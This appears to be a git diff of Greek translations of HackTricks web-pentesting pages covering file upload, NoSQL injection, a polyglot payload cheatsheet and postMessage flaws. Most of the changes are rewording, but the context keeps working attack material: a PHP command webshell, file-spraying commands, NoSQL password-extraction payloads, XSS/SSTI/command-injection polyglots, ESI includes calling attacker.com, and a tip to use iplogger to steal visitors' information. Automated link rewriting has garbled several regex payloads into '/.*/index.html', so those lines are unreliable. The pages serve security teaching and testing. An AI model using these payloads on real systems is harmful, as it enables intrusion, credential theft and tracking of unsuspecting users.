+Σημειώστε ότι **μια άλλη επιλογή** που μπορεί να σκέφτεστε για να παρακάμψετε αυτόν τον έλεγχο είναι να κάνετε τον **HTTP server να ανακατευθύνει σε ένα διαφορετικό αρχείο**, έτσι ώστε η αρχική διεύθυνση URL να παρακάμψει τον έλεγχο και στη συνέχεια το wget να κατεβάσει το ανακατευθυνόμενο αρχείο με το νέο όνομα. Αυτό **δεν θα λειτουργήσει** **εκτός αν** το wget χρησιμοποιείται με την **παράμετρο** `--trust-server-names` επειδή **το wget θα κατεβάσει τη σελίδα ανακατεύθυνσης με το όνομα του αρχείου που υποδεικνύεται στην αρχική διεύθυνση URL**.
 
 ## Εργαλεία
 
@@ -174,10 +174,10 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 - [**Ανοιχτή Ανακατεύθυνση** μέσω μεταφόρτωσης αρχείου svg](../open-redirect.md#open-redirect-uploading-svg-files)
 - Δοκιμάστε **διαφορετικά payloads svg** από [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)\*\*\*\*
 - [Διάσημη ευπάθεια **ImageTrick**](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
-- Αν μπορείτε να **υποδείξετε στον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
+- Αν μπορείτε να **υποδείξετε τον web server να πιάσει μια εικόνα από μια διεύθυνση URL** μπορείτε να προσπαθήσετε να εκμεταλλευτείτε μια [SSRF](../ssrf-server-side-request-forgery/index.html). Αν αυτή η **εικόνα** πρόκειται να **αποθηκευτεί** σε κάποια **δημόσια** τοποθεσία, μπορείτε επίσης να υποδείξετε μια διεύθυνση URL από [https://iplogger.org/invisible/](https://iplogger.org/invisible/) και να **κλέψετε πληροφορίες από κάθε επισκέπτη**.
 - [**XXE και CORS** παρακάμψη με μεταφόρτωση PDF-Adobe](pdf-upload-xxe-and-cors-bypass.md)
-- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποιο PDF που θα εκτελεί αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
-- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιϊικό**
+- Ιδιαίτερα κατασκευασμένα PDFs για XSS: Η [παρακάτω σελίδα παρουσιάζει πώς να **εισάγετε δεδομένα PDF για να αποκτήσετε εκτέλεση JS**](../xss-cross-site-scripting/pdf-injection.md). Αν μπορείτε να μεταφορτώσετε PDFs μπορείτε να ετοιμάσετε κάποια PDF που θα εκτελούν αυθαίρετο JS ακολουθώντας τις δοθείσες οδηγίες.
+- Μεταφορτώστε το \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) περιεχόμενο για να ελέγξετε αν ο server έχει κάποιο **αντιβιοτικό**
 - Ελέγξτε αν υπάρχει κάποιο **όριο μεγέθους** κατά τη μεταφόρτωση αρχείων
 
 Ακολουθεί μια λίστα με τα 10 κορυφαία πράγματα που μπορείτε να επιτύχετε με τη μεταφόρτωση (από [εδώ](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
@@ -189,7 +189,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
 5. **XML**: XXE
 6. **AVI**: LFI / SSRF
 7. **HTML / JS** : Εισαγωγή HTML / XSS / Ανοιχτή ανακατεύθυνση
-8. **PNG / JPEG**: Επίθεση πλημμύρας pixel (DoS)
+8. **PNG / JPEG**: Επίθεση pixel flood (DoS)
 9. **ZIP**: RCE μέσω LFI / DoS
 10. **PDF / PPTX**: SSRF / BLIND XXE
 
@@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
 ```
 ### Αποσυμπίεση σε διαφορετικούς φακέλους
 
-Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναβαθμίσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους αναβάθμισης, χειραγωγώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
+Η απροσδόκητη δημιουργία αρχείων σε καταλόγους κατά τη διάρκεια της αποσυμπίεσης είναι ένα σημαντικό ζήτημα. Παρά τις αρχικές υποθέσεις ότι αυτή η ρύθμιση μπορεί να προστατεύει από την εκτέλεση εντολών σε επίπεδο λειτουργικού συστήματος μέσω κακόβουλων αναρτήσεων αρχείων, η υποστήριξη ιεραρχικής συμπίεσης και οι δυνατότητες διαδρομής καταλόγου της μορφής ZIP μπορούν να εκμεταλλευτούν. Αυτό επιτρέπει στους επιτιθέμενους να παρακάμψουν περιορισμούς και να ξεφύγουν από ασφαλείς καταλόγους ανάρτησης τροποποιώντας τη λειτουργικότητα αποσυμπίεσης της στοχευμένης εφαρμογής.
 
 Μια αυτοματοποιημένη εκμετάλλευση για τη δημιουργία τέτοιων αρχείων είναι διαθέσιμη στο [**evilarc on GitHub**](https://github.com/ptoomey3/evilarc). Το εργαλείο μπορεί να χρησιμοποιηθεί όπως φαίνεται:
 ```python
@@ -253,7 +253,7 @@ create_zip()
 
 Για περισσότερες λεπτομέρειες **ελέγξτε την αρχική ανάρτηση στο**: [https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/)
 
-1.  **Δημιουργία ενός PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`.
+1.  **Δημιουργία PHP Shell**: Ο κώδικας PHP γράφεται για να εκτελεί εντολές που περνούν μέσω της μεταβλητής `$_REQUEST`.
 
 ```php
 <?php
@@ -263,7 +263,7 @@ system($cmd);
 }?>
 ```
 
-2.  **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συναρμολογείται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
+2.  **File Spraying και Δημιουργία Συμπιεσμένου Αρχείου**: Δημιουργούνται πολλαπλά αρχεία και συγκεντρώνεται ένα zip αρχείο που περιέχει αυτά τα αρχεία.
 
 ```bash
 root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
@@ -299,7 +299,7 @@ pop graphic-context
 
 Τα πολυγλωσσικά αρχεία χρησιμεύουν ως ένα μοναδικό εργαλείο στην κυβερνοασφάλεια, δρώντας ως χαμαιλέοντες που μπορούν να υπάρχουν έγκυρα σε πολλαπλές μορφές αρχείων ταυτόχρονα. Ένα ενδιαφέρον παράδειγμα είναι ένα [GIFAR](https://en.wikipedia.org/wiki/Gifar), ένας υβριδικός τύπος που λειτουργεί τόσο ως GIF όσο και ως αρχείο RAR. Τέτοια αρχεία δεν περιορίζονται σε αυτόν τον συνδυασμό; συνδυασμοί όπως GIF και JS ή PPT και JS είναι επίσης εφικτοί.
 
-Η κύρια χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προέρχεται από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, τηρώντας τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
+Η βασική χρησιμότητα των πολυγλωσσικών αρχείων έγκειται στην ικανότητά τους να παρακάμπτουν τα μέτρα ασφαλείας που ελέγχουν τα αρχεία με βάση τον τύπο τους. Η κοινή πρακτική σε διάφορες εφαρμογές περιλαμβάνει την άδεια μόνο ορισμένων τύπων αρχείων για ανέβασμα—όπως JPEG, GIF ή DOC—για να μετριαστεί ο κίνδυνος που προκύπτει από δυνητικά επιβλαβείς μορφές (π.χ., JS, PHP ή αρχεία Phar). Ωστόσο, ένα πολυγλωσσικό αρχείο, συμμορφούμενο με τα δομικά κριτήρια πολλών τύπων αρχείων, μπορεί να παρακάμψει κρυφά αυτούς τους περιορισμούς.
 
 Παρά την προσαρμοστικότητά τους, τα πολυγλωσσικά αρχεία αντιμετωπίζουν περιορισμούς. Για παράδειγμα, ενώ ένα πολυγλωσσικό αρχείο μπορεί ταυτόχρονα να ενσωματώνει ένα αρχείο PHAR (PHp ARchive) και ένα JPEG, η επιτυχία της ανάρτησής του μπορεί να εξαρτάται από τις πολιτικές επεκτάσεων αρχείων της πλατφόρμας. Εάν το σύστημα είναι αυστηρό σχετικά με τις επιτρεπόμενες επεκτάσεις, η απλή δομική διπλότητα ενός πολυγλωσσικού αρχείου μπορεί να μην αρκεί για να εγγυηθεί την ανάρτησή του.
 

src/pentesting-web/nosql-injection.md

@@ -2,11 +2,11 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-## Εκμετάλλευση
+## Exploit
 
-Στην PHP μπορείτε να στείλετε έναν Πίνακα αλλάζοντας την αποσταλείσα παράμετρο από _parameter=foo_ σε _parameter\[arrName]=foo._
+Στην PHP μπορείτε να στείλετε ένα Array αλλάζοντας την αποσταλείσα παράμετρο από _parameter=foo_ σε _parameter\[arrName]=foo._
 
-Οι εκμεταλλεύσεις βασίζονται στην προσθήκη ενός **Τελεστή**:
+Οι εκμεταλλεύσεις βασίζονται στην προσθήκη ενός **Operator**:
 ```bash
 username[$ne]=1$password[$ne]=1 #<Not Equals>
 username[$regex]=^adm$password[$ne]=1 #Check a <regular expression>, could be used to brute-force a parameter
@@ -46,7 +46,7 @@ username[$ne]=toto&password[$regex]=.{1}
 username[$ne]=toto&password[$regex]=.{3}
 # True if the length equals 1,3...
 ```
-### Εξαγωγή **δεδομένων** πληροφοριών
+### Εξαγωγή **πληροφοριών** δεδομένων
 ```
 in URL (if length == 3)
 username[$ne]=toto&password[$regex]=a.{2}
@@ -67,7 +67,7 @@ in JSON
 ### **SQL - Mongo**
 ```
 /?search=admin' && this.password%00 --> Check if the field password exists
-/?search=admin' && this.password && this.password.match(/.*/)%00 --> start matching password
+/?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> start matching password
 /?search=admin' && this.password && this.password.match(/^a.*$/)%00
 /?search=admin' && this.password && this.password.match(/^b.*$/)%00
 /?search=admin' && this.password && this.password.match(/^c.*$/)%00
@@ -86,7 +86,7 @@ in JSON
 
 ### Λάβετε πληροφορίες από διαφορετική συλλογή
 
-Είναι δυνατόν να χρησιμοποιήσετε [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια **διαφορετική συλλογή** που ονομάζεται **`users`** και λαμβάνουμε τα **αποτελέσματα όλων των καταχωρίσεων** με έναν κωδικό πρόσβασης που ταιριάζει με ένα wildcard.
+Είναι δυνατόν να χρησιμοποιήσετε [**$lookup**](https://www.mongodb.com/docs/manual/reference/operator/aggregation/lookup/) για να λάβετε πληροφορίες από μια διαφορετική συλλογή. Στο παρακάτω παράδειγμα, διαβάζουμε από μια **διαφορετική συλλογή** που ονομάζεται **`users`** και λαμβάνουμε τα **αποτελέσματα όλων των καταχωρήσεων** με έναν κωδικό πρόσβασης που ταιριάζει με ένα wildcard.
 
 **ΣΗΜΕΙΩΣΗ:** `$lookup` και άλλες συναρτήσεις συγχώνευσης είναι διαθέσιμες μόνο αν χρησιμοποιήθηκε η συνάρτηση `aggregate()` για να εκτελέσει την αναζήτηση αντί των πιο κοινών συναρτήσεων `find()` ή `findOne()`.
 ```json
@@ -126,10 +126,10 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 || 1==1//
 || 1==1%00
 }, { password : /.*/ }
-' && this.password.match(/.*/)//+%00
-' && this.passwordzz.match(/.*/)//+%00
-'%20%26%26%20this.password.match(/.*/)//+%00
-'%20%26%26%20this.passwordzz.match(/.*/)//+%00
+' && this.password.match(/.*/index.html)//+%00
+' && this.passwordzz.match(/.*/index.html)//+%00
+'%20%26%26%20this.password.match(/.*/index.html)//+%00
+'%20%26%26%20this.passwordzz.match(/.*/index.html)//+%00
 {$gt: ''}
 [$ne]=1
 ';sleep(5000);
@@ -140,7 +140,7 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
 {"username": {"$gt":""}, "password": {"$gt":""}}
 {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
 ```
-## Τυφλό NoSQL Script
+## Blind NoSQL Script
 ```python
 import requests, string
 

src/pentesting-web/pocs-and-polygloths-cheatsheet/README.md

@@ -5,10 +5,10 @@
 Ο στόχος αυτών των PoCs και Polygloths είναι να δώσει στον δοκιμαστή μια γρήγορη **σύνοψη** των ευπαθειών που μπορεί να εκμεταλλευτεί αν η **είσοδός του αντικατοπτρίζεται με κάποιον τρόπο στην απόκριση**.
 
 > [!WARNING]
-> Αυτή η **cheatsheet δεν προτείνει μια ολοκληρωμένη λίστα δοκιμών για κάθε ευπάθεια**, μόνο μερικές βασικές. Αν ψάχνετε για πιο ολοκληρωμένες δοκιμές, αποκτήστε πρόσβαση σε κάθε προτεινόμενη ευπάθεια.
+> Αυτό το **cheatsheet δεν προτείνει μια ολοκληρωμένη λίστα δοκιμών για κάθε ευπάθεια**, μόνο μερικές βασικές. Αν ψάχνετε για πιο ολοκληρωμένες δοκιμές, αποκτήστε πρόσβαση σε κάθε προτεινόμενη ευπάθεια.
 
 > [!CAUTION]
-> Δεν **θα βρείτε εισαγωγές που εξαρτώνται από το Content-Type όπως το XXE**, καθώς συνήθως θα προσπαθήσετε να τις δοκιμάσετε μόνοι σας αν βρείτε ένα αίτημα που στέλνει xml δεδομένα. Δεν **θα βρείτε επίσης εισαγωγές βάσης δεδομένων** εδώ, καθώς ακόμη και αν κάποιο περιεχόμενο μπορεί να αντικατοπτρίζεται, εξαρτάται σε μεγάλο βαθμό από την τεχνολογία και τη δομή της backend DB.
+> Δεν **θα βρείτε εξαρτώμενες από το Content-Type επιθέσεις όπως XXE**, καθώς συνήθως θα προσπαθήσετε να τις δοκιμάσετε μόνοι σας αν βρείτε ένα αίτημα που στέλνει xml δεδομένα. Δεν **θα βρείτε επίσης επιθέσεις σε βάσεις δεδομένων** εδώ, καθώς ακόμη και αν κάποιο περιεχόμενο μπορεί να αντικατοπτρίζεται, εξαρτάται σε μεγάλο βαθμό από την τεχνολογία και τη δομή της backend DB.
 
 ## Polygloths list
 ```python
@@ -46,7 +46,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```
@@ -57,7 +57,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 {{7*7}}
 [7*7]
 ```
-### Πολυγλωττοί
+### Πολυγλώσσοι
 ```bash
 {{7*7}}[7*7]
 ```
@@ -74,7 +74,7 @@ javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembe
 `ls`
 $(ls)
 ```
-### Πολυγλωττοί
+### Πολυγλώσσοι
 ```bash
 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS}
 /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/
@@ -94,7 +94,7 @@ $(ls)
 ```markup
 <br><b><h1>THIS IS AND INJECTED TITLE </h1>
 ```
-## [File Inclusion/Path Traversal](../file-inclusion/)
+## [File Inclusion/Path Traversal](../file-inclusion/index.html)
 
 ### Βασικές Δοκιμές
 ```bash
@@ -109,7 +109,7 @@ C:/windows/system32/drivers/etc/hosts
 http://asdasdasdasd.burpcollab.com/mal.php
 \\asdasdasdasd.burpcollab.com/mal.php
 ```
-## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Open Redirect](../open-redirect.md) / [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 ### Βασικές Δοκιμές
 ```bash
@@ -136,15 +136,15 @@ javascript:alert(1)
 <esi:include src=http://attacker.com/>
 x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-### Πολυγλωσσες
+### Πολυγλώσσες
 ```markup
 <!--#echo var="DATE_LOCAL" --><!--#exec cmd="ls" --><esi:include src=http://attacker.com/>x=<esi:assign name="var1" value="'cript'"/><s<esi:vars name="$(var1)"/>>alert(/Chrome%20XSS%20filter%20bypass/);</s<esi:vars name="$(var1)"/>>
 ```
-## [Server Side Request Forgery](../ssrf-server-side-request-forgery/)
+## [Server Side Request Forgery](../ssrf-server-side-request-forgery/index.html)
 
 Οι ίδιες δοκιμές που χρησιμοποιούνται για το Open Redirect μπορούν να χρησιμοποιηθούν εδώ.
 
-## [Server Side Template Injection](../ssti-server-side-template-injection/)
+## [Server Side Template Injection](../ssti-server-side-template-injection/index.html)
 
 ### Βασικές Δοκιμές
 ```markup
@@ -155,7 +155,7 @@ ${7*7}
 ${{7*7}}
 #{7*7}
 ```
-### Πολυγλωττοί
+### Πολυγλώσσες
 ```python
 {{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}${{<%[%'"}}%\
 ```
@@ -166,7 +166,7 @@ ${{7*7}}
 <xsl:value-of select="system-property('xsl:version')" />
 <esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
-### Πολυγλωττοί
+### Πολυγλώσσες
 ```markup
 <xsl:value-of select="system-property('xsl:version')" /><esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl"></esi:include>
 ```
@@ -178,12 +178,12 @@ ${{7*7}}
 '"><img src=x onerror=alert(1) />
 javascript:alert()
 ```
-### Πολυγλωσσες
+### Πολυγλώσσοι
 ```markup
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
 jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0D%0A//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 javascript://'/</title></style></textarea></script>--><p" onclick=alert()//>*/alert()/*

src/pentesting-web/pocs-and-polygloths-cheatsheet/web-vulns-list.md

@@ -36,7 +36,7 @@ javascript:alert(1)
 javascript:alert()
 javascript:"/*'/*`/*--></noscript></title></textarea></style></template></noembed></script><html \" onmouseover=/*&lt;svg/*/onload=alert()//>
 -->'"/></sCript><deTailS open x=">" ontoggle=(co\u006efirm)``>
-">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
+">><marquee><img src=x onerror=confirm(1)></marquee>" ></plaintext\></|\><plaintext/onmouseover=prompt(1) ><script>prompt(1)</script>@gmail.com<isindex formaction=javascript:alert(/XSS/index.html) type=submit>'-->" ></script><script>alert(1)</script>"><img/id="confirm( 1)"/alt="/"src="/"onerror=eval(id&%23x29;>'"><img src="http: //i.imgur.com/P8mL8.jpg">
 " onclick=alert(1)//<button ‘ onclick=alert(1)//> */ alert(1)//
 ';alert(String.fromCharCode(88,83,83))//';alert(String. fromCharCode(88,83,83))//";alert(String.fromCharCode (88,83,83))//";alert(String.fromCharCode(88,83,83))//-- ></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83)) </SCRIPT>
 ```

src/pentesting-web/postmessage-vulnerabilities/README.md

@@ -69,7 +69,7 @@ if (event.origin !== "http://example.org:8080") return
 false
 )
 ```
-Σημειώστε σε αυτή την περίπτωση πώς το **πρώτο πράγμα** που κάνει ο κώδικας είναι **έλεγχος της προέλευσης**. Αυτό είναι τρομερά **σημαντικό**, κυρίως αν η σελίδα πρόκειται να κάνει **οτιδήποτε ευαίσθητο** με τις πληροφορίες που λαμβάνει (όπως η αλλαγή ενός κωδικού πρόσβασης). **Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints** και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα).
+Σημειώστε σε αυτή την περίπτωση πώς το **πρώτο πράγμα** που κάνει ο κώδικας είναι **έλεγχος της προέλευσης**. Αυτό είναι τρομερά **σημαντικό** κυρίως αν η σελίδα πρόκειται να κάνει **οτιδήποτε ευαίσθητο** με τις πληροφορίες που έχει λάβει (όπως η αλλαγή ενός κωδικού πρόσβασης). **Αν δεν ελέγξει την προέλευση, οι επιτιθέμενοι μπορούν να κάνουν τα θύματα να στείλουν αυθαίρετα δεδομένα σε αυτά τα endpoints** και να αλλάξουν τους κωδικούς πρόσβασης των θυμάτων (σε αυτό το παράδειγμα).
 
 ### Αρίθμηση
 
@@ -102,7 +102,7 @@ false
 ```
 
 - Η συνάρτηση **`match()`**, παρόμοια με τη `search()`, επεξεργάζεται regex. Αν η regex είναι κακώς δομημένη, μπορεί να είναι επιρρεπής σε παράκαμψη.
-- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους διαφεύγοντας χαρακτήρες. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει διαφύγει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:
+- Η συνάρτηση **`escapeHtml`** προορίζεται να καθαρίζει τις εισόδους με την απόδραση χαρακτήρων. Ωστόσο, δεν δημιουργεί ένα νέο αντικείμενο που έχει αποδράσει αλλά αντικαθιστά τις ιδιότητες του υπάρχοντος αντικειμένου. Αυτή η συμπεριφορά μπορεί να εκμεταλλευτεί. Ιδιαίτερα, αν ένα αντικείμενο μπορεί να χειριστεί έτσι ώστε η ελεγχόμενη ιδιότητά του να μην αναγνωρίζει το `hasOwnProperty`, η `escapeHtml` δεν θα λειτουργήσει όπως αναμένεται. Αυτό αποδεικνύεται στα παρακάτω παραδείγματα:
 
 - Αναμενόμενη Αποτυχία:
 
@@ -113,7 +113,7 @@ message: "'\"<b>\\",
 result.message // "&#39;&quot;&lt;b&gt;\"
 ```
 
-- Παράκαμψη της διαφυγής:
+- Παράκαμψη της απόδρασης:
 
 ```javascript
 result = u(new Error("'\"<b>\\"))
@@ -167,15 +167,15 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
 ```
 ### Κλοπή μηνύματος που αποστέλλεται σε παιδί μπλοκάροντας την κύρια σελίδα
 
-Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε δεδομένα **ευαίσθητης postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά παραληφθούν:
+Στην παρακάτω σελίδα μπορείτε να δείτε πώς θα μπορούσατε να κλέψετε **ευαίσθητα δεδομένα postmessage** που αποστέλλονται σε ένα **iframe παιδί** μπλοκάροντας την **κύρια** σελίδα πριν στείλετε τα δεδομένα και εκμεταλλευόμενοι μια **XSS στο παιδί** για να **διαρρεύσετε τα δεδομένα** πριν αυτά παραληφθούν:
 
 {{#ref}}
 blocking-main-page-to-steal-postmessage.md
 {{#endref}}
 
-### Κλοπή μηνύματος τροποποιώντας τη θέση του iframe
+### Κλοπή μηνύματος τροποποιώντας τη διεύθυνση του iframe
 
-Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να **αλλάξετε τη θέση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
+Εάν μπορείτε να iframe μια ιστοσελίδα χωρίς X-Frame-Header που περιέχει ένα άλλο iframe, μπορείτε να **αλλάξετε τη διεύθυνση αυτού του iframe παιδιού**, έτσι ώστε αν λαμβάνει ένα **postmessage** που αποστέλλεται χρησιμοποιώντας ένα **wildcard**, ένας επιτιθέμενος θα μπορούσε να **αλλάξει** την **προέλευση** αυτού του iframe σε μια σελίδα **που ελέγχει** και να **κλέψει** το μήνυμα:
 
 {{#ref}}
 steal-postmessage-modifying-iframe-location.md
@@ -214,9 +214,9 @@ setTimeout(get_code, 2000)
 ```
 Για **περισσότερες πληροφορίες**:
 
-- Σύνδεσμος προς τη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/)
-- Σύνδεσμος προς τη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/)
-- Σύνδεσμος προς τη σελίδα σχετικά με [**προβλήματα πρωτοτύπου από την πλευρά του πελάτη σε XSS**](../deserialization/nodejs-proto-prototype-pollution/index.html#client-side-prototype-pollution-to-xss)
+- Σύνδεσμος στη σελίδα σχετικά με [**προβλήματα πρωτοτύπου**](../deserialization/nodejs-proto-prototype-pollution/index.html)
+- Σύνδεσμος στη σελίδα σχετικά με [**XSS**](../xss-cross-site-scripting/index.html)
